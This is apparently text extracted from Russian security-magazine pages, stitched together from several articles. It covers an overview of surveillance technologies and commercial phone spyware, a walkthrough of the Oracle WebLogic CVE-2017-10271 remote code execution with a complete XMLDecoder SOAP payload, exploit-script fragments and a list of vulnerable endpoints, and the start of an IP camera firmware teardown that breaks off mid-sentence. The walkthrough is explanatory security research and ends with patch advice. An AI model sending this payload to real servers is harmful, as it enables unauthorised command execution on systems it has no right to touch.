кон текс тную рек ламу. uBeacons могут быть встро ены в веб‐сай ты или телеви‐ 
зион ные  объ явле ния  и  могут  быть  соб раны  рек ламны ми  SDK,  встро енны ми
в  при ложе ния  смар тфо нов.  Осо бо  любимое  мар кетоло гами  пре иму щес тво
uBeacons — эта тех нология дает высокую точ ность нацели вания объ явле ний,
не  тре буя  от  поль зовате ля  каких‐либо  дей ствий.  Одна ко  для  это го  необ‐ 
ходимо, что бы на мобиль ном устрой стве поль зовате ля был уста нов лен uXDT‐
фрей мворк. Суть работы uXDT‐фрей мвор ка зак люча ется в том, что в мобиль‐ 
ные при ложе ния встра ивают соот ветс тву ющие ауди омаяч ки — что бы сле дить
за тем, что поль зователь дела ет.

При этом раз работ чик мобиль ного при ложе ния даже может не знать, что
такой  маячок  спря тал ся  в  его  про екте.  Такое  может  про изой ти,  нап ример,
ког да он при раз работ ке прог рам мно го обес печения поль зовал ся «бес плат‐ 
ным SDK»,  где раз работ чик это го SDK ради дохода встро ил  уль траз вуковой
модуль  в  свою биб лиоте ку. Рек ламода тели исполь зуют uXDT для  тар гетин га
поль зовате лей сле дующим обра зом.
1. Сна чала рек ламода тель запус кает объ явле ние с эле мен тами уль траз вука:
либо на TV, либо на сай те.

2. Как  толь ко  объ явле ние  отоб ража ется,  из  динами ка  устрой ства  изда ется
корот кая  пос ледова тель ность  высоко час тотных  (то  есть  уль траз вуковых)
тонов. Этот высоко час тотный тон немед ленно зах ватыва ется uXDT‐фрей‐ 
мвор ком на смар тфо не поль зовате ля.

3. Что бы  обес печить  такую  фун кци ональ ность,  uXDT‐фрей мворк  работа ет
в фоновом режиме и пери оди чес ки обра щает ся к мик рофону устрой ства
для прос лушива ния уль траз вуковых сиг налов.

Пос ле  того  как  такой  сиг нал  зафик сирован,  uXDT‐фрей мворк  извле кает
из  него  уни каль ный  иден тифика тор  объ явле ния  и  сооб щает  об  этом  рек‐ 
ламода телю — вмес те с уни каль ными иден тифика цион ными дан ными устрой‐ 
ства и поль зовате ля. Рек ламода тель затем исполь зует эту информа цию, что‐ 
бы выявить инте ресы и пред почте ния поль зовате ля, и в соот ветс твии с этим
дела ет  ему  инди виду аль ное  рек ламное  пред ложение:  нап равля ет  целевую
рек ламу на устрой ство поль зовате ля.

8. ВРАГ ИЗ ХОЛОДИЛЬНИКА (И КНИЖНОЙ ПОЛКИ)
Ис точник: 

  //  Denver  University  Law  Review.  79(4),  2002.  pp.  534-539,

558-565.

Supermarket Cards: The tip of  the retail surveillance  Ice-

berg

В  1999  году  Мас сачусет ский  уни вер ситет  ини цииро вал  про ект  Auto‐ID,
целью  которо го  было  соз дание  «физичес ки  свя зан ного  мира»,  где  каж дый
эле мент на пла нете инвента ризо ван, катало гизи рован и отсле жива ется. Сей‐ 
час  сущес тву ют  RFID‐маяч ки  раз мером  0,3  мм,  тон кие,  как  челове чес кий
волос.  Они  лег ко  могут  быть  раз мещены  в  денеж ных  бан кно тах,  что  дает
спец служ бам  воз можность  сле дить  за  исто рией  денеж ных  опе раций.  Такая
ини циати ва исклю чает ано ним ность обме на налич ными средс тва ми.

«Холодиль ники, которые сооб щают в супер маркет о сво ем содер жимом».
«Инте рак тивное  телеви дение,  выбира ющее  релеван тную  для  вас  рек ламу»
(нап ример,  на  осно вании  содер жимого  вашего  холодиль ника).  Все  это  —
реаль ность  наших  дней.  Auto‐ID,  в  сочета нии  с  RFID‐ска нера ми,  уста нов‐ 
ленны ми  в  книж ных  пол ках  (так  называ емые  смарт‐пол ки),  может  пре дос‐ 
тавлять  исчерпы вающую  информа цию  о  поведе нии  потен циаль ных  пот‐ 
ребите лей. Более того, иног да такие RFID‐ска неры уста нав лива ются в пред‐ 
меты интерь ера даже без ведома конеч ного пот ребите ля.

У тебя дома и в сумоч ке нет ни одно го RFID‐мик рочипа? Подоз ритель ный
ты  парень,  потен циаль ный  тер рорист.  ;)  Сегод ня  пра витель ствен ные  спец‐ 
служ бы всерь ез раз мышля ют над тем, что бы «в целях про тиво дей ствия тер‐ 
рориз му»  (ну,  как  обыч но)  оциф ровать  всю  жиз неде ятель ность  каж дого
челове ка и отсле живать ее в режиме реаль ного вре мени.

Смот ри, что пишут на эту тему умные люди:

«Ключ к победе над тер рорис тами — воз можность оциф ровать абсо- 
лют но  всех  людей  и  раз местить  их  на  нашем  циф ровом  поле  боя.
Иден тифици руя  каж дого  челове ка  и  отсле живая  его  переме щение
в режиме реаль ного вре мени, мы будем спо соб ны сра зу же узна вать
о его подоз ритель ной активнос ти. А если человек не оциф рован, зна- 
чит,  он  —  потен циаль ный  тер рорист.  Оциф ровать  населе ние  мож но,
встра ивая  RFID-маяч ки:  в  докумен ты,  авто мобиль ные  пра ва,  биб- 
лиотеч ные  билеты,  кор поратив ные  удос товере ния,  пас порта,  визы,
номер ные  зна ки  и  так  далее.  Пол ностью  оциф ровав  населе ние,  мы
будем знать, кому что при над лежит. Потом мы смо жем, обра баты вая
все  эти  дан ные  на  мощ ных  компь юте рах,  выяв лять  подоз ритель ную
активность.  Мы  можем  отсле живать  людей  внут ри  тран спортных
средств, пос редс твом три ангу ляции RFID-маяч ков (исполь зовать уста- 
нов ку  из  трех  RFID-ска неров,  раз мещен ных,  нап ример,  в  фонар ных
стол бах).  Все  тран спортные  средс тва,  переме щающиеся  меж ду
города ми, так же дол жны иметь RFID-маяч ки (на водитель ских пра вах,
докумен тах).  Ког да  эти  тран спортные  средс тва  будут  сбли жать ся
с RFID-ска нером, встро енным в дорож ное асфаль товое пок рытие, мы
смо жем  иден тифици ровать  как  авто мобиль,  так  и  его  текуще го
водите ля.  Таким  обра зом  мы  смо жем  качес твен но  выяв лять  подоз- 
ритель ную активность населе ния».

 // Air & Space Power Journal. 20(4), 2006. p. 16Counterinsurgency Airpower

9. ТАЙНАЯ ЖИЗНЬ ТВОЕЙ SIM-КАРТЫ
Ис точник,  инс трук ция  по  экс плу ата ции: 

 // DEF CON 21. 2013

The  Secret  Life  of  SIM

Cards

SIM‐кар та  —  это  таинс твен ный  малень кий  компь ютер  в  тво ем  кар мане,
который тебе непод кон тро лен. SIM‐кар та может нам ного боль ше, чем прос то
быть пос редни ком при авто риза ции на тво ем мобиль нике. Прос тей шие при‐ 
ложе ния  мож но  заг ружать  и  выпол нять  пря мо  на  SIM‐кар те  —  отдель но
от  мобиль ника,  даже  не  зная,  какая  на мобиль нике  опе раци онная  сис тема.
Эти при ложе ния могут:

пе рехо дить по URL‐адре сам;•
от прав лять SMS;•
ини цииро вать и при нимать вызовы;•
под клю чать и исполь зовать информа цион ные служ бы;•
за пус кать AT‐коман ды на мобиль нике.•

При ложе ния  на  SIM‐кар ту  заг ружа ются  в  «тихом  режиме»  —  пос редс твом
пакет ной переда чи дан ных  через  уда лен ный дос туп. Обновлять  при ложе ния
на SIM‐кар те может либо мобиль ный опе ратор, либо зло умыш ленник, прит‐ 
воря ющий ся  мобиль ным  опе рато ром  (нап ример,  при  помощи  IMSI‐перех‐ 
ватчи ка). Под робная инс трук ция о том, как это сде лать, находит ся в откры том
дос тупе.

10. МОБИЛЬНЫЕ ТРОЯНЫ, ИЛИ СТАРЫЕ ТЕХНОЛОГИИ ЕЩЕ В
СТРОЮ
Ис точник: окру жающая реаль ность

Но вые тех нологии шага ют по пла нете, не отме няя при этом про верен ной
клас сики — вре донос ного ПО.

Су щес тву ет нес коль ко десят ков шпи онских прог рамм, которые могут быть
уда лен но  уста нов лены  на  мобиль ник  в  «тихом  режиме»  и  шпи онить  за  его
вла дель цем, не выдавая сво его при сутс твия. Ранее счи талось,  что, при дер‐ 
жива ясь так называ емой гиги ены кибер безопас ности, мож но надеж но огра‐ 
дить себя от подоб ного вме шатель ства в свою лич ную жизнь. Одна ко сегод ня
жер твой мобиль ного шпи она жа могут стать даже те, кто избе гает рис кован‐ 
ного поведе ния в Сети, кто исполь зует самую сов ремен ную защиту и самое
све жее обновле ние прог рам мно го обес печения.

Бла года ря пос ледним средс твам защиты часть прог рамм‐шпи онов мож но
отсле дить. Одна ко для того, что бы под держи вать эти средс тва защиты в акту‐ 
аль ном сос тоянии, нуж но уметь их нас тра ивать. Ведь ата кующие точ но так же,
как и безопас ники, не сидят на мес те и прик ладыва ют зна читель ные уси лия,
что бы  скрыть  свои  прог раммы  от  авто мати зиро ван ных  сис тем  защиты.
При этом нас тра ивать защиту с  течени ем вре мени ста новит ся все слож нее,
а про водить успешные ата ки — все про ще. В том чис ле потому, что с подачи
запад ных  спец служб  самые  сов ремен ные  информа цион ные  тех нологии
сегод ня  находят ся  в  откры том дос тупе. В резуль тате  такой полити ки откры‐ 
тос ти  воз раста ет  риск  исполь зования  хай‐тек‐игру шек  нас мотрев шей ся
филь мов про хакеров молодежью, неп ред ска зуемой и импуль сив ной.

Есть  мне ние,  что  широко  раз рекла миро ван ные  сегод ня  утеч ки
хай‐тек‐игру шек ЦРУ вов се не демарш Сно уде на и WikiLeaks, а  кон тро лиру‐ 
емая утеч ка информа ции, име ющая целью нап равить кон курен тов по «гон ке
воору жений» в заведо мо про игрышном нап равле нии; что бы они про дол жали
вкла дывать вре мя и день ги в инс тру мен ты, которые уже не обес печива ют кон‐ 
курен тно го  пре иму щес тва.  Киберо пера ции  и  инфо цен три чес кие  вой ны  уже
не  слу жат  клю чом  к  нему.  Сегод ня  бал  пра вят  зна ниецен три чес кие  вой ны,
суть  которых  сво дит ся  к  тому,  что  «людей  лома ют  про фес сиона лы,  а  не
машины».

Та ким  обра зом,  мы  наб люда ем  сегод ня  все  воз раста ющую  экспо нен‐ 
циаль ную  асим метрию  кибер безопас ности:  ата кующие  находят ся  в  более
выгод ных  усло виях,  чем  защища ющиеся.  Еже год ный  при рост  мобиль ных
угроз  сос тавля ет  42%.  Ниже  при веде ны  нес коль ко  при меров  шпи онских
прог рамм,  которые  рас простра няют ся  как  легаль ные  —  под  видом  так
называ емых  сис тем  родитель ско го  кон тро ля  и  им  подоб ных.  Все  они  скры‐ 
вают свои дей ствия от вла дель ца мобиль ника.

.  Пер воначаль но  соз данная  под  Symbian,  теперь  работа ет
так же и на iPhone, BlackBerry, Android, Windows Phones. Отправ ляет информа‐ 
цию  непос редс твен но  на  дру гой  мобиль ник.  Эта  прог рамма  осно вана
на номере IMEI, то есть зло умыш ленник дол жен знать свою цель. Прог рамма
отсле жива ет SMS, спи сок звон ков, мес тополо жение;  уда лен но прос лушива‐ 
ет,  жур налиру ет  нажатия  кла виш.  Коман ды  она  получа ет  с  управля юще го
мобиль ника в скры тых SMS‐сооб щени ях.

Neo-Call Spy

. Работа ет на смар тфо нах и план шетах. Поз воля ет сле дить за звон‐ 
ками, SMS, сооб щени ями элек трон ной поч ты, мес тополо жени ем GPS, исто‐ 
рией  прос мотра,  кален дарем,  адресны ми  кни гами,  IM‐сооб щени ями;  поз‐ 
воля ет  управлять  уста нов ленны ми  при ложе ниями,  прос матри вать  муль‐ 
тимеди афай лы. Так же име ет фун кции уда лен ного кон тро ля, такие как пол ное
сти рание  устрой ства  и  сбор  под робной  отчетнос ти.  Для  сбо ра  и  пре дос‐ 
тавле ния информа ции исполь зует безопас ную учет ную запись в интерне те —
при помощи архи тек туры кли ент‐сер вер, с веб‐интерфей сом.

Mspy

.  Эта  прог рамма  изна чаль но  клас сифици рова на  как  мобиль ный
тро ян из‐за ее агрессив ного поведе ния; но затем она ста ла вес ти себя мяг‐ 
че,  и  ее  из  катего рии  мобиль ных  тро янов  вычер кну ли.  Она  поз воля ет  шпи‐ 
онить  за  мобиль никами  и  план шетами.  Пред лага ет  поряд ка  130  фун кций,
в  том  чис ле  те,  которы ми  осна щена  Mspy.  Из  уни каль ных  фун кций:  дос туп
к виде ока мере, прос мотр обо ев. Так же как и Mspy, для сбо ра и пре дос тавле‐ 
ния  информа ции  исполь зует  безопас ную  учет ную  запись  в  интерне те  —
при помощи архи тек туры кли ент‐сер вер, с веб‐интерфей сом.

FlexiSpy

. Обла дает боль шинс твом фун кций FlexiSpy;  вдо бавок может
бло киро вать  при ложе ния,  уста нав ливать  новые  при ложе ния  и  в  режиме
реаль ного вре мени вза имо дей ство вать с панелью управле ния поль зователь‐ 
ско го интерфей са мобиль ника.

Mobile Spy

.  Прос тая  в  исполь зовании  прог рамма  для монито рин га:
тек сто вые  сооб щения,  запись  телефон ных  перего воров,  жур налы  звон ков…
все  отправ ляет ся  с  телефо на  жер твы  либо  на  элек трон ную  поч ту,  либо
на мобиль ник, либо на безопас ную учет ную запись в интерне те.

Higster Mobile

.  Высоко качес твен ное  ПО  для  шпи она жа
за мобиль ником, раз вива ется с 2006 года.

All-in-one  Spy  Software

. Прог рамма, уста нав лива емая на смар тфон, для кон тро ля за всем
про исхо дящим на мобиль нике. Тай но записы вает все события (SMS, исто рия
вызовов,  телефон ная  кни га,  мес тополо жение,  элек трон ные  пись ма,  сооб‐ 
щения при ложе ний,  IM, чат Facebook, Skype и мно гое дру гое), которые про‐ 
исхо дят на телефо не, и дос тавля ет эту информа цию в защищен ный веб‐акка‐ 
унт.

Spyera

.  Наибо лее  эффектив ное  и  прод винутое  прог рам мное  обес‐ 
печение  для  мобиль ного  шпи она жа.  Стоп роцен тно  скры тый  режим,
не  оставля ет  никаких  шан сов  на  свое  обна руже ние.  По  край ней  мере,  так
утвер жда ют раз работ чики.

SpyMaster

ОТ РЕДАКЦИИ, ИЛИ ВМЕСТО ЗАКЛЮЧЕНИЯ
Эпо ха  тоталь ного циф рового  кон тро ля сто ит на пороге, и,  ско рее все го, ее
пол ноцен ный  при ход  зас танет  уже  нынеш нее  поколе ние.  Бороть ся  поз дно,
и  похоже,  что  толь ко  здо ровый  пофигизм  поможет  общес тву  спра вить ся
с  этой  проб лемой  (да‐да,  игно рируя  ее).  При меры  его  про явле ния мы  уже,
кста ти, видим как со сто роны «сле дящих», так и со сто роны «под надзор ных».

«Какое фото, какое видео? Не зна ем, нам лень смот реть камеры (они
сло мались,  в  них  ничего  не  вид но,  они  смот рят  в  дру гую  сто рону),
а  даже  если  и  пос мотрим  —  то  как  узнать,  кому  это  лицо  при над- 
лежит?  И  вор  ли  это,  или  прос то  мимо  про ходил?  В  общем,  мы
не  зна ем,  кто  обнес  вашу  квар тиру  и  угнал  вашу машину,  обра щай- 
тесь‑ка вы... куда‑нибудь».

«Угна ли  голые  фотог рафии?  Ну  ничего  страш ного,  полез но
для популяр ности».
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Но вая  уяз вимость  в  Oracle  WebLogic  поз воля ет  выпол нять
про изволь ные  коман ды  на  целевой  сис теме  любому  ата‐ 
кующе му  без  какой‐либо  авто риза ции.  Раз берем ся,  что
имен но дол жен делать ата кующий и почему это работа ет.

Сер вер при ложе ний WebLogic, как и боль шинс тво про дук тов Oracle, широко
рас простра нен  в  энтер прайз‐сре де  и  исполь зует ся  круп ными  ком пани ями
по  все му  миру.  Проб лемы,  подоб ные  этой,  могут  гро зить  огромны ми  убыт‐ 
ками и пов лечь за собой утеч ки при ват ных дан ных.

Про дук ты ком пании PeopleSoft, про изво дящей ПО для управле ния базами
кли ентов,  финан сового  пла ниро вания  и  управле ния  пер соналом,  тоже  под‐ 
верже ны  этой  уяз вимос ти,  пос коль ку  один  из  ком понен тов  —  это  сер вер
WebLogic.

Проб лема зак люча ется в некор рек тной филь тра ции дан ных при пар синге
поль зователь ско го зап роса в XML перед переда чей его в XMLDecoder. Отве‐ 
чает  за  это  модуль  WLS  Security.  Уяз вимость  получи ла  номер 

  —  это  логичес кое  про дол жение  не  до  кон ца  запат ченной  CVE‐2017‐
3506 в модуле Web Services. Баг зат рагива ет вер сии WebLogic до 10.3.6.0.0,
12.1.3.0.0, 12.2.1.1.0 и 12.2.1.2.0.

CVE‐2017‐
10271

ПОДГОТОВКА
Сна чала под нимем и нас тро им наш пер вый в 2018 году стенд для тес тирова‐ 
ния  уяз вимос ти.  Я  сижу  на  вин де  и  поэто му  буду  исполь зовать  win‐вер сию
сер вера WebLogic.

Для  того  что бы  заг рузить  сам  дис три бутив,  тебе  понадо бит ся  рабочий
акка унт Oracle. Если у тебя его нет, то можешь зарегис три ровать ся  . Далее
перехо дим  в  ,  при нима ем  лицен зион ное  сог лашение
и выбира ем нуж ную вер сию дис три бути ва для заг рузки.

тут
раз дел  заг рузок

Ре комен дую  исполь зовать  вет ку  ,  так  как  там  сра зу  работа ет  уяз‐ 
вимый  модуль.  Windows  Oracle  WebLogic  рас простра няет ся  в  виде  инстал‐ 
лятора, в котором уже име ется JDK, ведь дис три бутив написан на Java и тре‐ 
бует Development Kit для работы.

10.3.6

Ин стал лятор WebLogic 10.3.6.0.0

Сра зу  пос ле  завер шения  уста нов ки  тебе  пред ложат  запус тить  и  нас тро ить
рабочее окру жение. Не вижу смыс ла отка зывать в этом.

Ком понен ты JDK в инстал ляторе

Пос ле всех нас тро ек мы получа ем готовую рабочую сре ду для тес тирова ния
уяз вимос ти.

Стар товая стра ница WebLogic

Ес ли ты исполь зуешь Linux, то рекомен дую под нять окру жение через Docker,
бла го  в  репози тории  ты  уже  можешь  най ти  готовые  сбор ки  WebLogic.  Вот,
нап ример,  .од на из них

ДЕТАЛИ
Да вай  сра зу  же  про верим  работу  экс пло ита.  Заг рузить  один  из  вари антов
PoC мож но  .от сюда

Для  кор рек тной  работы  в  качес тве  парамет ра  нуж но  ука зать  адрес  сер‐ 
вера WebLogic. По умол чанию скрипт отправ ляет зап рос с экс пло итом к роуту

./wls‐wsat/CoordinatorPortType

CVE-2017-10271/exploit.py
54:     url_in = sys.argv[1]
55: do_post(url_in, command_in)

CVE-2017-10271/exploit.py
42: def do_post(url_in, command_in):
43:     payload_url = url_in + "/wls‐wsat/CoordinatorPortType"

Пос ле запус ка PoC будет пред ложено ввес ти коман ду, которую нуж но выпол‐ 
нить на уда лен ной сис теме.

CVE-2017-10271/exploit.py
53:     command_in = raw_input("Enter your command here: ")

Ус пешная экс плу ата ция CVE‐2017‐10271 в Oracle WebLogic

Пос коль ку это логичес кое про дол жение уяз вимос ти CVE‐2017‐3506, сна чала
взгля нем,  что  дела ет  патч,  который  Oracle  выпус тила  для  нее.  Нуж ные  нам
фай лы находят ся в фай ле  , поэто му его надо деком пиль‐ 
нуть, нап ример с помощью  .

/lib/weblogic.jar
Java Decompiler

Де ком пиляция weblogic.jar в Java Decompiler GUI

Нас инте ресу ет файл  . Вмес те с апрель‐ 
ским пат чем раз работ чики добави ли метод  .

WorkContextXmlInputAdapter.java
validate

WorkContextXmlInputAdapter.java
21: public final class WorkContextXmlInputAdapter
22:   implements WorkContextInput
23: {
24:   private final XMLDecoder xmlDecoder;
25:
26:   public WorkContextXmlInputAdapter(InputStream is)
...
47:   private void validate(InputStream is)
48:   {
49:     WebLogicSAXParserFactory factory = new WebLogicSAXPars
erFactory();
50:     try
51:     {
52:       SAXParser parser = factory.newSAXParser();
53:       parser.parse(is, new DefaultHandler()
54:       {
55:         public void startElement(String uri, String localName, 
String qName, Attributes attributes)
56:           throws SAXException
57:         {
58:           if (qName.equalsIgnoreCase("object")) {
59:             throw new IllegalStateException("Invalid context 
type: object");
60:           }
61:         }
62:       });
63:     }

Он про веря ет передан ный XML‐зап рос на наличие эле мен тов Object, и если
такой  встре чает ся,  то  скрипт  кида ет  исклю чение 

.
Invalid  context  type: 

object
Од нако не Object’ом еди ным живет RCE. Сущес тву ет еще мно жес тво спо‐ 

собов  про экс плу ати ровать  уяз вимость  в  десери али зации  XML.  Пос мотрим
на этот же файл, но уже из пос ледней вер сии, где уяз вимость исправ лена.

WorkContextXmlInputAdapter.java
47:   private void validate(InputStream is)
48:   {
49:     WebLogicSAXParserFactory factory = new WebLogicSAXPars
erFactory();
50:     try
51:     {
52:       SAXParser parser = factory.newSAXParser();
53:       parser.parse(is, new DefaultHandler()
54:       {
55:         public void startElement(String uri, String localName, 
String qName, Attributes attributes)
56:           throws SAXException
57:         {
58:           if (qName.equalsIgnoreCase("object")) {
59:             throw new IllegalStateException("Invalid context 
type: object");
60:           }
61:           if (qName.equalsIgnoreCase("object")) {
62:             throw new IllegalStateException("Invalid element 
qName:object");
63:           } else if (qName.equalsIgnoreCase("new")) {
64:                throw new IllegalStateException("Invalid element 
qName:new");
65:           } else if (qName.equalsIgnoreCase("method")) {
66:                throw new IllegalStateException("Invalid element 
qName:method");
67:           } else {
68:             if (qName.equalsIgnoreCase("void")) {
69:               for(int attClass = 0; attClass < attributes.getLen
gth(); ++attClass) {
70:                 if (!"index".equalsIgnoreCase(attributes.getQName
(attClass))) {
71:                   throw new IllegalStateException("Invalid attrib
ute for element void:" + attributes.getQName(attClass));
72:                 }
73:               }
74:             }
75:             if (qName.equalsIgnoreCase("array")) {
76:               String classElem = attributes.getValue("class");
77:               if (classElem != null && !classElem.equals
IgnoreCase("byte")) {
78:                 throw new IllegalStateException("The value of 
class attribute is not valid for array element.");
79:               }

Как видишь, спи сок неугод ных эле мен тов рас ширил ся. :) Зна чит, помимо Ob‐
ject, потен циаль но небезо пас ны так же и new, method, void и array в некото рых
слу чаях. Теперь взгля нем на зап рос, который отправ ляет экс пло ит.

POST /wls‐wsat/CoordinatorPortType HTTP/1.1
Host: weblogic.visualhack:7001
content‐type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/
envelope/">
 <soapenv:Header>
   <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/
workarea/">
     <java class="java.beans.XMLDecoder" version="1.8.0_151">
       <void class="java.lang.ProcessBuilder">
         <array class="java.lang.String" length="3">
           <void index="0">
             <string>cmd</string>
           </void>
           <void index="1">
             <string>/c</string>
           </void>
           <void index="2">
             <string>calc</string>
           </void>
         </array>
         <void method="start"/>
       </void>
     </java>
   </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body/>

</soapenv:Envelope>

Ра зуме ется,  хидер    дол жен быть  ,  потому  что мы  тут
отправ ляем  на  пар синг  XML.  В  теле  зап роса,  что бы  выз вать  класс  Process‐
Builder,  исполь зует ся  эле мент  типа  .  Экс пло ит  отправ ляет  зап рос
на эндпой нт  , одна ко уяз вим не толь ко он. Дру гие мож‐ 
но отыс кать, если заг лянуть в файл   из  .

Content‐Type text/xml

void
CoordinatorPortType

web.xml wls‐wsat.war

Прос мотр путей, которые мож но исполь зовать для экс плу ата ции

CoordinatorPortType
RegistrationPortTypeRPC
ParticipantPortType
RegistrationRequesterPortType
CoordinatorPortType11
RegistrationPortTypeRPC11
ParticipantPortType11
RegistrationRequesterPortType11

Сам  зап рос  обра баты вает ся  адап тером  ,  который
переда ет  дан ные  в  метод    из  фай ла 

  (ты  можешь  най ти  его  в  деком пилиро ван ном 
по пути  ).

WLSServletAdapter
ProcessRequest WorkContextServer‐

Tube.java weblogic.jar
weblogic.wsee.jaxws.workcontex

WorkContextServerTube.java
19: public class WorkContextServerTube
20:   extends WorkContextTube
21: {
...
39:   public NextAction processRequest(Packet request)
40:   {
41:     this.isUseOldFormat = false;
42:     if (request.getMessage() != null)
43:     {
44:       MessageHeaders hl = request.getMessage().getHeaders();
45:       Header hn = hl.get(this.JAX_WS_WORK_AREA_HEADER, true);
46:       if (hn != null)
47:       {
48:         readHeader(hn);
49:       }
50:       else
51:       {
52:         Header h = hl.get(WorkAreaConstants.WORK_AREA_HEADER, 
true);
53:         if (h != null) {
54:           if (supportWorkContextOldFormat) {
55:             readHeaderOld(h);
56:           } else {
57:             throw new WebServiceException("Old format work area 
header is disabled.");
58:           }

Пе ремен ная    ссы лает ся  на раз дел    из  тела  зап роса,  он
отправ ляет ся в метод   для даль нейшей обра бот ки.

h work:WorkContext
readHeadOld

WorkContextTube.java
104:   protected void readHeaderOld(Header header)
105:   {
106:     try
107:     {
108:       XMLStreamReader reader = header.readHeader();
109:       reader.nextTag();
110:       reader.nextTag();
111:       XMLStreamReaderToXMLStreamWriter x = new XMLStreamReader
ToXMLStreamWriter();
112:       ByteArrayOutputStream baos = new ByteArrayOutputStream();
113:       XMLStreamWriter writer = XMLStreamWriterFactory.create(
baos);
114:       x.bridge(reader, writer);
115:       writer.close();
116:       WorkContextXmlInputAdapter xia = new WorkContextXmlI
nputAdapter(new ByteArrayInputStream(baos.toByteArray()));
117:       receive(xia);

Тут  перемен ная    содер жит  передан ный  нами  сери али зован ный  мас сив
объ ектов. Затем выпол няет ся фун кция   в кон тек сте передан ных дан‐ 
ных,  которая, в свою оче редь, вызыва ет метод  , и он триг герит уяз‐ 
вимость.

xia
receive

readUTF

WorkContextXmlInputAdapter.java
194:   public String readUTF()
195:     throws IOException
196:   {
197:     return (String)this.xmlDecoder.readObject();
198:   }

Тут мы и получа ем кар тину, которую наб людали в самом начале, — успешную
экс плу ата цию и выпол нение про изволь ного кода.

Ус пешная экс плу ата ция RCE в Oracle WebLogic 10.3.6.0.0

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
За  пос ледние  два  года  Oracle  зак рыла  огромное  количес тво  уяз вимос тей
во всех сво их про дук тах, а Лар ри Элли сон, один из осно вате лей, заявил, что
необ ходимо  уси лить  безопас ность  про дук тов  ком пании,  так  как  они  час то
игра ют клю чевую роль для биз неса.

Эту уяз вимость уже облю бова ли зло умыш ленни ки, написав исполь зующий
ее  тро ян‐май нер.  Пос ле  успешной  экс плу ата ции  на  сер вер  уста нав ливал ся
май нер крип товалю ты Monero xmrig, а про цесс самого при ложе ния WebLogic
уби вал ся. Судя  по  некото рым  ,  зло умыш ленни кам  уда лось  «зарабо‐ 
тать» таким спо собом око ло 226 тысяч дол ларов.

от четам

Эту ата ку обна ружил и разоб рал по полоч кам  (за  что ему огромное спа‐ 
сибо) Ренато Мариньо (Renato Marinho), иссле дова тель безопас ности в Mor‐
phus Labs. Его сму тили пос тоян ные сбои в работе сер веров WebLogic из‐за
их перег рузки.

Патч для устра нения уяз вимос ти вышел еще в октябре 2017 года. Толь ко
вот ник то не торопит ся обновлять ся, и на прос торах Сети оби тает еще мно го
баж ных сер веров. Если ты адми нис тра тор одно го из них, то пос пеши накатить
све жие апдей ты.
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Но вос тями про уяз вимос ти в тех или иных моделях IP‐камер
уже  слож но  кого‐то  уди вить.  Регуляр но  появ ляет ся
информа ция о раз нооб разных багах и недоку мен тирован ных
учет ных  записях  (бэк дорах).  Нес мотря  на  это,  мно гие  про‐ 
изво дите ли до сих пор отно сят ся к безопас ности сво ей про‐ 
дук ции  кое‐как.  Об  одном  из  таких  слу чаев  и  хочу  рас ска‐ 
зать.

WARNING

Вся  информа ция  пре дос тавле на  исклю читель но
в озна коми тель ных целях. Ни редак ция, ни автор
не  несут  ответс твен ности  за  любой  воз можный
вред, при чинен ный матери ала ми дан ной статьи.

Нач ну  с  пре дыс тории.  Я  и  мой  кол лега  внед ряли  рас пре делен ную  сис тему
виде онаб людения  на  нес коль ко  сотен  IP‐каналов.  Модель  камеры  выб рали
быс тро — сыг рала роль прив лекатель ная цена и при лич ные ТТХ. Экзем пля ры,
взя тые  на  тес тирова ние,  показа ли  себя  нор маль но,  работа ли  ста биль но,
без нарека ний.

Пос коль ку камер мы пла ниро вали покупать мно го, то пот ребова лось авто‐ 
мати зиро вать их нас трой ку. Зас тавить нор маль но работать штат ную  ути литу
(IPCManager) я так и не смог, поэто му приш лось изоб ретать свой велоси пед.

По  задум ке  управле ние  камерой  будет  про исхо дить  через  зап росы
по  HTTP  на  80‐й  порт  скрип том  на  Python  с  исполь зовани ем  биб лиоте ки
requests.

Про цесс дол жен сво дить ся к прос тому алго рит му:
1. За пус тил скрипт.
2. Дос тал из короб ки камеру.
3. Под клю чил.
4. По лучил опо веще ние о завер шении перенас трой ки.
5. От клю чил.
6. Под клю чил сле дующую.
7. Да лее по цик лу.

В  качес тве  опо веще ния  об  успешной  перенас трой ке  логич но  было  бы
исполь зовать зву ковой сиг нал из динами ка камеры. Одна ко зас тавить камеру
пищать при помощи зап роса по HTTP так и не получи лось.

СОБИРАЕМ ИНФОРМАЦИЮ
Я начал поис ки аль тер натив ного спо соба под чинить себе динамик камеры —
прос каниро вал камеру при помощи Nmap.

Уже немало...

С  пор тами  80  (HTTP)  и  554  (RTSP)  все  понят но,  1935‐й  порт  вро де
как  исполь зует ся  при ложе нием  Flash,  через  которое  бра узер  показы вает
видео с камеры, а вот что висит на осталь ных пор тах — пока загад ка.

Мое  вни мание  прив лек  откры тый  23‐й  порт.  Но  вот  незада ча  —  логин
и  пароль  от  веб‐интерфей са  к  Telnet  не  под ходят,  в  интерне те  на  этот  счет
ничего  нет,  а  тех поддер жке  пос тавщи ка  пароль  неиз вестен.  Через
веб‐интерфейс  нас тро ить  или  отклю чить  Telnet  нель зя,  оста ется  толь ко
гадать, для чего или для кого он вооб ще работа ет. Но ведь если есть Telnet,
зна чит, дол жны быть и учет ные дан ные на него. Что ж, при дет ся искать.

Поч ти все манипу ляции я про водил в Ubuntu desktop 16.04. Для начала я
ска чал про шив ку  камеры и начал ее изу чать. Нуж но заметить,  что про шив ки
для  иссле дуемой  камеры  в  зависи мос ти  от  вер сии  могут  иметь  раз ное
содер жимое.  Мне  попада лись  сле дующие  вари анты  содер жимого  архи ва
с про шив кой.
1. Фай лы    и  .  Пер вый  содер жит  кор невую  фай ловую  сис тему,
вклю чая  иско мый    с  паролем  на  Telnet,  вто рой —  вклю чает
«брен дирован ный обвес» — веб‐интерфейс с логоти пом и дру гими инди‐ 
виду аль ными осо бен ностя ми кон крет ного про дав ца (об этом поз же).

.rootfs .fm

etc\passwd

2. Файл  , который кор невую ФС не вклю чает..fm

3. Файл  , внут ри которо го сра зу кор невая ФС и «обвес»..fm

Да лее поп робовал опре делить тип фай ла коман дой file.

$ file ‐b ‐i IPCAM_BV_EW_11_E_V2.37.170715_Airlink.fm
application/octet‐stream; charset=binary

Для даль нейших манипу ляций с фай лами про шив ки понадо бит ся ути лита bin‐
